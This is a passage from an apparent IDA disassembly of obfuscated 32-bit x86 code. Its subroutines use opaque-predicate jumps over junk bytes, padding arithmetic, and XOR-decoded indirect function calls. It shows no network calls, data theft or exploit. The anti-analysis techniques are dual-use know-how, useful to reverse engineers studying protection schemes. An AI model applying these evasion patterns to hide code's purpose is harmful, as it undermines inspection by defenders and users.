loc_4A308E:				; CODE XREF: sub_4A305B+28j
		jmp	short loc_4A3087
; ---------------------------------------------------------------------------


loc_4A3090:				; CODE XREF: sub_4A305B:loc_4A3087j
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		and	eax, 41h
		dec	bl
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 2700h
		dec	dh
		sub	dh, 5
		dec	dh
		sub	dh, 17h
		dec	dh
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED41C
		xor	ecx, dword_4ED420
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A30E8
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A30E8:				; CODE XREF: sub_4A305B+82j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D74
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A305B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A30FC	proc near		; DATA XREF: sub_4965D8+EF9o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D78
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		jo	short loc_4A312F
		jl	short loc_4A312D


loc_4A3128:				; CODE XREF: sub_4A30FC:loc_4A312Dj
					; sub_4A30FC:loc_4A312Fj
		jmp	short loc_4A3131
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A312D:				; CODE XREF: sub_4A30FC+2Aj
		jz	short loc_4A3128


loc_4A312F:				; CODE XREF: sub_4A30FC+28j
		jmp	short loc_4A3128
; ---------------------------------------------------------------------------


loc_4A3131:				; CODE XREF: sub_4A30FC:loc_4A3128j
		sub	bl, 6
		push	eax
		dec	bl
		dec	bl
		and	eax, 41h
		sub	bl, 15h
		pop	eax
		dec	bl
		dec	bl
		and	al, bl
		mov	edx, 1500h
		dec	dh
		sub	dh, 3
		dec	dh
		sub	dh, 7
		dec	dh
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3A8
		xor	ecx, dword_4ED3AC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A3183
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A3183:				; CODE XREF: sub_4A30FC+7Cj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D00
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A30FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A3197	proc near		; DATA XREF: sub_4965D8+50Fo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1F00h
		pop	ebx
		jo	short loc_4A31CD
		jl	short loc_4A31CB


loc_4A31C6:				; CODE XREF: sub_4A3197:loc_4A31CBj
					; sub_4A3197:loc_4A31CDj
		jmp	short loc_4A31CF
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A31CB:				; CODE XREF: sub_4A3197+2Dj
		jz	short loc_4A31C6


loc_4A31CD:				; CODE XREF: sub_4A3197+2Bj
		jmp	short loc_4A31C6
; ---------------------------------------------------------------------------


loc_4A31CF:				; CODE XREF: sub_4A3197:loc_4A31C6j
		sub	bh, 5
		dec	bh
		push	eax
		dec	bh
		dec	bh
		and	eax, 41h
		dec	bh
		sub	bh, 12h
		sub	bh, 3
		pop	eax
		dec	bh
		and	ah, bh
		mov	edx, 15h
		dec	dl
		sub	dl, 3
		dec	dl
		sub	dl, 7
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		and	al, dl
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_4A3217
		jl	short loc_4A3215


loc_4A3210:				; CODE XREF: sub_4A3197:loc_4A3215j
					; sub_4A3197:loc_4A3217j
		jmp	short loc_4A3219
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A3215:				; CODE XREF: sub_4A3197+77j
		jz	short loc_4A3210


loc_4A3217:				; CODE XREF: sub_4A3197+75j
		jmp	short loc_4A3210
; ---------------------------------------------------------------------------


loc_4A3219:				; CODE XREF: sub_4A3197:loc_4A3210j
		inc	eax
		dec	eax
		jo	short loc_4A3226
		jl	short loc_4A3224


loc_4A321F:				; CODE XREF: sub_4A3197:loc_4A3224j
					; sub_4A3197:loc_4A3226j
		jmp	short loc_4A3228
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A3224:				; CODE XREF: sub_4A3197+86j
		jz	short loc_4A321F


loc_4A3226:				; CODE XREF: sub_4A3197+84j
		jmp	short loc_4A321F
; ---------------------------------------------------------------------------


loc_4A3228:				; CODE XREF: sub_4A3197:loc_4A321Fj
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_4A3235
		jl	short loc_4A3233


loc_4A3230:				; CODE XREF: sub_4A3197:loc_4A3233j
					; sub_4A3197:loc_4A3235j
		jmp	short loc_4A3237
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4A3233:				; CODE XREF: sub_4A3197+97j
		jz	short loc_4A3230


loc_4A3235:				; CODE XREF: sub_4A3197+95j
		jmp	short loc_4A3230
; ---------------------------------------------------------------------------


loc_4A3237:				; CODE XREF: sub_4A3197:loc_4A3230j
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED414
		xor	ecx, dword_4ED418
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A325B
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A325B:				; CODE XREF: sub_4A3197+B9j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D6C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A3197	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A326F	proc near		; DATA XREF: sub_4965D8+148Do

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D8C
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 4Bh
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Dh
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		bswap	eax
		add	ecx, 3
		and	eax, ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3BC
		xor	ecx, dword_4ED3C0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A32FF
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A32FF:				; CODE XREF: sub_4A326F+85j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D14
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A326F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A3313	proc near		; DATA XREF: sub_4965D8+267o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D84
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 0Dh
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Dh
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		bswap	eax
		and	eax, ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3B4
		xor	ecx, dword_4ED3B8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A33A1
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A33A1:				; CODE XREF: sub_4A3313+83j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D0C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A3313	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A33B5	proc near		; DATA XREF: sub_4965D8+EE3o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DDC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		xor	bh, 7
		inc	bh
		dec	bh
		inc	bh
		dec	bh
		inc	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 86h
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		inc	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED40C
		xor	ecx, dword_4ED410
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A3487
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A3487:				; CODE XREF: sub_4A33B5+C7j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D64
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A33B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A349B	proc near		; DATA XREF: sub_4965D8+1460o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		bswap	eax
		dec	bh
		bswap	eax
		and	eax, 800h
		jo	short loc_4A34BB
		jl	short loc_4A34B9


loc_4A34B6:				; CODE XREF: sub_4A349B:loc_4A34B9j
					; sub_4A349B:loc_4A34BBj
		jmp	short loc_4A34BD
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_4A34B9:				; CODE XREF: sub_4A349B+19j
		jz	short loc_4A34B6


loc_4A34BB:				; CODE XREF: sub_4A349B+17j
		jmp	short loc_4A34B6
; ---------------------------------------------------------------------------


loc_4A34BD:				; CODE XREF: sub_4A349B:loc_4A34B6j
		mov	ebx, 4
		and	eax, 10h
		dec	ch
		mov	ebx, [ebp+arg_4]
		xor	ecx, ecx
		or	ebx, ecx
		jz	short loc_4A34DB
		dec	edi
		sub	ch, 2
		dec	ch
		and	eax, 0
		jmp	short loc_4A34F1
; ---------------------------------------------------------------------------


loc_4A34DB:				; CODE XREF: sub_4A349B+33j
		dec	edi
		jo	short loc_4A34E5
		jl	short loc_4A34E3


loc_4A34E0:				; CODE XREF: sub_4A349B:loc_4A34E3j
					; sub_4A349B:loc_4A34E5j
		jmp	short loc_4A34E7
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_4A34E3:				; CODE XREF: sub_4A349B+43j
		jz	short loc_4A34E0


loc_4A34E5:				; CODE XREF: sub_4A349B+41j
		jmp	short loc_4A34E0
; ---------------------------------------------------------------------------


loc_4A34E7:				; CODE XREF: sub_4A349B:loc_4A34E0j
		and	eax, 0
		dec	ecx
		sub	ch, 2
		inc	eax
		dec	ch


loc_4A34F1:				; CODE XREF: sub_4A349B+3Ej
		mov	[ebp+var_8], eax
		mov	eax, dword_4ED410
		xor	eax, dword_4ED414
		shl	eax, 1
		mov	[ebp+var_4], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4A3513
		mov	ecx, [ebp+var_4]
		or	ecx, 1
		mov	[ebp+var_4], ecx


loc_4A3513:				; CODE XREF: sub_4A349B+6Dj
		mov	edx, [ebp+var_4]
		push	edx
		call	off_4F1D68
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A349B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A3527	proc near		; DATA XREF: sub_4965D8+A5Fo

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 10h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 13h
		dec	ch
		mov	ebx, [ebp+arg_4]
		dec	ah
		and	cl, 0
		dec	ah
		xor	edx, edx
		or	ebx, edx
		jz	short loc_4A3568
		dec	edi
		and	eax, 0
		jmp	short loc_4A356C
; ---------------------------------------------------------------------------


loc_4A3568:				; CODE XREF: sub_4A3527+39j
		and	eax, 0
		inc	eax


loc_4A356C:				; CODE XREF: sub_4A3527+3Fj
		mov	[ebp+var_8], eax
		mov	eax, dword_4ED3CC
		xor	eax, dword_4ED3D0
		shl	eax, 1
		mov	[ebp+var_4], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4A358E
		mov	ecx, [ebp+var_4]
		or	ecx, 1
		mov	[ebp+var_4], ecx


loc_4A358E:				; CODE XREF: sub_4A3527+5Cj
		mov	edx, [ebp+var_4]
		push	edx
		call	off_4F1D24
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A3527	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A35A2	proc near		; DATA XREF: sub_4965D8+305o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		dec	bh
		and	eax, 800h
		jo	short loc_4A35BE
		jl	short loc_4A35BC


loc_4A35B9:				; CODE XREF: sub_4A35A2:loc_4A35BCj
					; sub_4A35A2:loc_4A35BEj
		jmp	short loc_4A35C0
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_4A35BC:				; CODE XREF: sub_4A35A2+15j
		jz	short loc_4A35B9


loc_4A35BE:				; CODE XREF: sub_4A35A2+13j
		jmp	short loc_4A35B9
; ---------------------------------------------------------------------------


loc_4A35C0:				; CODE XREF: sub_4A35A2:loc_4A35B9j
		mov	ebx, 4
		and	eax, ebx
		mov	ch, 52h
		dec	ch
		mov	ebx, [ebp+arg_4]
		test	ebx, ebx
		jo	short loc_4A35D9
		jl	short loc_4A35D7


loc_4A35D4:				; CODE XREF: sub_4A35A2:loc_4A35D7j
					; sub_4A35A2:loc_4A35D9j
		jmp	short loc_4A35DB
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_4A35D7:				; CODE XREF: sub_4A35A2+30j
		jz	short loc_4A35D4


loc_4A35D9:				; CODE XREF: sub_4A35A2+2Ej
		jmp	short loc_4A35D4
; ---------------------------------------------------------------------------


loc_4A35DB:				; CODE XREF: sub_4A35A2:loc_4A35D4j
		jz	short loc_4A35E6
		dec	edi
		sub	ch, 3
		and	eax, 0
		jmp	short loc_4A3607
; ---------------------------------------------------------------------------


loc_4A35E6:				; CODE XREF: sub_4A35A2:loc_4A35DBj
		dec	edi
		dec	ecx
		sub	ch, 2
		dec	ch
		dec	ch
		sub	ch, 8
		jo	short loc_4A35FB
		jl	short loc_4A35F9


loc_4A35F6:				; CODE XREF: sub_4A35A2:loc_4A35F9j
					; sub_4A35A2:loc_4A35FBj
		jmp	short loc_4A35FD
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_4A35F9:				; CODE XREF: sub_4A35A2+52j
		jz	short loc_4A35F6


loc_4A35FB:				; CODE XREF: sub_4A35A2+50j
		jmp	short loc_4A35F6
; ---------------------------------------------------------------------------


loc_4A35FD:				; CODE XREF: sub_4A35A2:loc_4A35F6j
		and	eax, 0
		dec	ecx
		sub	ch, 2
		inc	eax
		dec	ch


loc_4A3607:				; CODE XREF: sub_4A35A2+42j
		mov	[ebp+var_8], eax
		mov	eax, dword_4ED3C8
		xor	eax, dword_4ED3CC
		shl	eax, 1
		mov	[ebp+var_4], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4A3629
		mov	ecx, [ebp+var_4]
		or	ecx, 1
		mov	[ebp+var_4], ecx


loc_4A3629:				; CODE XREF: sub_4A35A2+7Cj
		mov	edx, [ebp+var_4]
		push	edx
		call	off_4F1D20
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A35A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A363D	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:off_4ED844o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 98h
		mov	[ebp+var_2C], 37h
		mov	[ebp+var_28], 80h
		mov	[ebp+var_24], 7
		mov	[ebp+var_20], 2Ch
		mov	[ebp+var_1C], 95h
		mov	[ebp+var_18], 9Ch
		mov	[ebp+var_14], 21h
		mov	[ebp+var_10], 13h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 13h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A36CE
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A36CE:				; CODE XREF: sub_4A363D+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A363D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A373A	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED848o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 58h
		mov	[ebp+var_2C], 68h
		mov	[ebp+var_28], 0
		mov	[ebp+var_24], 19h
		mov	[ebp+var_20], 76h
		mov	[ebp+var_1C], 0BAh
		mov	[ebp+var_18], 0B4h
		mov	[ebp+var_14], 26h
		mov	[ebp+var_10], 0Fh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Fh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A37CB
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A37CB:				; CODE XREF: sub_4A373A+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A373A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A3837	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED84Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 90h
		mov	[ebp+var_2C], 37h
		mov	[ebp+var_28], 0F7h
		mov	[ebp+var_24], 56h
		mov	[ebp+var_20], 0F2h
		mov	[ebp+var_1C], 33h
		mov	[ebp+var_18], 4Bh
		mov	[ebp+var_14], 0D4h
		mov	[ebp+var_10], 3
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 3
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A38C8
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A38C8:				; CODE XREF: sub_4A3837+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A3837	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A3934	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED850o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 8Dh
		mov	[ebp+var_2C], 7Dh
		mov	[ebp+var_28], 0E7h
		mov	[ebp+var_24], 3Ah
		mov	[ebp+var_20], 74h
